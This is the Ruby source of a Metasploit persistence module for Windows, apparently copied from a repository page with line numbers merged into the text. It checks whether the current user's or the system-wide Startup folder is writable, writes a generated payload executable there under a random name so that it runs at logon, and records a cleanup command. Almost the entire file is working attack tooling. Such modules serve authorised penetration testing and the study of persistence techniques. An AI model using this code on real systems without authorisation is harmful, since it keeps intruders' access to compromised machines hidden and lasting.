Path: blob/master/modules/exploits/windows/persistence/startup_folder.rb
25357 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Persistent Startup Folder',18'Description' => %q{19This module establishes persistence by creating a payload in the user or system startup folder.20Works on Vista and newer systems.21},22'License' => MSF_LICENSE,23'Author' => [ 'h00die' ],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter', 'shell' ],26'Targets' => [27[ 'Automatic', {} ]28],29'DefaultTarget' => 0,30'References' => [31['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],32['URL', 'https://support.microsoft.com/en-us/windows/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473']33],34'DisclosureDate' => '1995-01-01', # windows 9535'Notes' => {36'Stability' => [CRASH_SAFE],37'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],38'SideEffects' => [ARTIFACTS_ON_DISK]39}40)41)4243register_options(44[45OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),46OptEnum.new('CONTEXT', [false, 'Target current User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ])47]48)49end5051def folder52if datastore['CONTEXT'] == 'USER'53f = session.sys.config.getenv('%userprofile%')54f = "#{f}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"55return f56end57f = session.sys.config.getenv('%ProgramData%')58"#{f}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"59end6061def check62f = folder63begin64# windows only ps payloads have writable? so try that first65return CheckCode::Safe("Unable to write to #{f}") unless writable?(f)66rescue RuntimeError67filename = f + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))68write_file(filename, '')69if exists? filename70rm_f(filename)71return CheckCode::Appears("Likely exploitable, able to write test file to #{f}")72else73return CheckCode::Safe("Unable to write to #{f}")74end75end7677CheckCode::Appears('Likely exploitable')78end7980def install_persistence81payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))82payload_exe = generate_payload_exe83payload_pathname = folder + '\\' + payload_name + '.exe'84vprint_good("Writing payload to #{payload_pathname}")85fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)86vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")87@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"88end89end909192